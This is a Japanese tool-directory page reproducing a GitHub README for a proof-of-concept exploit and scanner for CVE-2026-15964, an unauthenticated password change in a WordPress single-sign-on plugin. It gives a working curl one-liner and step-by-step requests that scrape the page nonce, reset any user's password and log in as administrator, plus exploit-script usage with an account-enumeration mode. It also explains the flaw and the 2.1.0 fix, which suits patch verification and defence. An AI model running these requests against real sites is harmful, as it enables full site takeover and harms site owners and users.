Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-15964-PoC — CVE-2026-15964 の PoC & チェッカー - WordPress プラグイン Single Sign On For TNG <= 2.0.0 における認証なしパスワード変更 (CVSS 9.8) | Kitploit
ツール/GitHubGitHub/instructor-admin/cve-2026-15964-poc
認証と認可特権昇格ウェブ脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティペネトレーションテスト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

CVE-2026-15964 の PoC & チェッカー - WordPress プラグイン Single Sign On For TNG <= 2.0.0 における認証なしパスワード変更 (CVSS 9.8)

リポジトリを見る
1312ヶ月前未レビュー

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

未検証のパスワード変更による非認証の権限昇格 WordPress プラグイン Single Sign On For TNG に影響します。

深刻度Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (未検証のパスワード変更)
影響を受けるバージョンプラグインバージョン 1.0.0 ~ 2.0.0
修正バージョン2.1.0 (2026-07-27 リリース)
公開日2026-08-01
認証要件不要 (wp_ajax_nopriv_ssoprocess_ajax)
影響管理者を含む任意の WordPress アカウントのパスワードを変更可能 - サイト全体の乗っ取り
プラグインhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

認証されていない訪問者は誰でも、プラグイン 2.0.0 以前を実行しているサイト上の任意のアカウントのパスワードを変更できます。必要な HTTP リクエストは 2 つだけです:

  1. ホームページを GET し、SSOPWDREQUIREMENT JavaScript オブジェクトから nonce をコピーします。
  2. それを operation=setnewpassword、被害者のメールアドレス、新しいパスワードとともに admin-ajax.php に POST します。

残りの処理は WordPress コアの reset_password() が行います。トークンも、メール確認リンクも、権限チェックもありません。その後は管理者としてログインするだけです。

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

なぜ機能するのか

ハンドラは非認証ユーザー向けに登録されている

single-sign-on-for-tng.php (v2.0.0) 内:

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* は、セッションが一切ない状態でもハンドラに到達できることを意味します。

唯一の防御は、プラグインがすべての訪問者に渡す nonce

load_scripts() は wp_enqueue_scripts にフックされているため、すべてのフロントエンドページでプラグインはこれを HTML に出力します:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

これは次のように描画されます:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

そしてハンドラは次のようにそれを検証します:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

問題はここです: WordPress は nonce を wp_create_nonce($action) で uid とセッショントークンを使って計算します。ログアウト中の訪問者では、これらは 0 と空文字列になるため、すべての匿名訪問者がまったく同じ nonce を受け取ります。nonce は 12 時間ごと (nonce tick) にしか再生成されません。つまり、プラグインが任意の訪問者に出力する nonce は攻撃者にとっても有効です - 盗むべき秘密は存在せず、ページ自体に公開されているのです。

そして実際の変更は、所有権の証明が一切ないまま行われる

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() は WordPress コアの関数です。新しいハッシュを設定し、被害者を他のすべてのセッションからログアウトさせ、password_reset / after_password_reset アクションを発火させます。ここでは、呼び出し元がアカウント所有者であることを証明するものが何もないまま呼び出されます。

知っておく価値のある追加事項が 2 つあります:

  • この経路ではサーバー側のパスワード強度チェックがありません。 プラグインの MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC ルールは Forminator フォーム用の validate_form() でのみ強制され、ここでは一切実施されません。任意のパスワードが受け入れられます。
  • アカウント列挙。 {"success":true} と {"success":false} の違いで、メールアドレスが登録済みかどうかが分かります。チェッカーの --enum-only モードはこれを利用します。
  • 同じ関数内のおまけのバグ: operation=set_tzoffset は非認証のまま update_option('localtzoffset', $post['timezoneoffset']) を呼び出します。RCE に直接利用できるわけではありませんが、非認証のオプション書き込みであり、writeup で言及する価値があります。

2.1.0 で何が変わったか

2.0.0 と 2.1.0 を diff すると修正内容が明らかになります (そしてバグの存在が確認できます):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

さらに、newpasswordform() 内:

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

つまり 2.1.0 では、フローは次のようになります: 実際のリカバリリクエストがユーザーごとの custom_recovery_token + custom_recovery_nonce をユーザーメタに保存し、リカバリリンクがユーザー ID を保持し、フォームが両方を検証し、リカバリ期間 (timeout) が切れると AJAX ハンドラは実行を拒否します。有効なリカバリレコードを生成できない攻撃者は、もはや setnewpassword を操作できません。


再現手順 (手動)

ステップ 1 - nonce を取得する

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

ステップ 2 - パスワードを変更する

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

脆弱なインストールでの期待される応答: {"success":true}

ステップ 3 - ログインする

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

単一サイト向けエクスプロイト。非破壊的なモードも含まれます。

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

チェッカー: CVE-2026-15964-checker.py

自分が管理するサイトリスト用のバッチスキャナ。設計上、非破壊的 - パスワードを変更することはありません。

各サイトの分類方法:

  1. HTML フィンガープリント - ホームページ内の SSOPWDREQUIREMENT オブジェクト、または /wp-content/plugins/single-sign-on-for-tng/ アセットパス。
  2. バージョン - readme.txt の Stable tag: 行。<= 2.0.0 は脆弱、>= 2.1.0 は修正済み。これは CVE に基づく正式な判定です。
  3. 動作プローブ (--probe、バージョンを読み取れない場合のみ) - 存在しないメールアドレスで operation=setnewpassword を POST します。2.0.0 インストールはエラーメッセージなしで {"success":false} と応答し、2.1.0 インストールは「新しいパスワードを送信する時間が切れました」というメッセージで応答します。実在するメールアドレスが送信されることは決してありません - 送信すると実際にパスワードがリセットされてしまうからです。
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

出力例:

URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -
ツールをダウンロード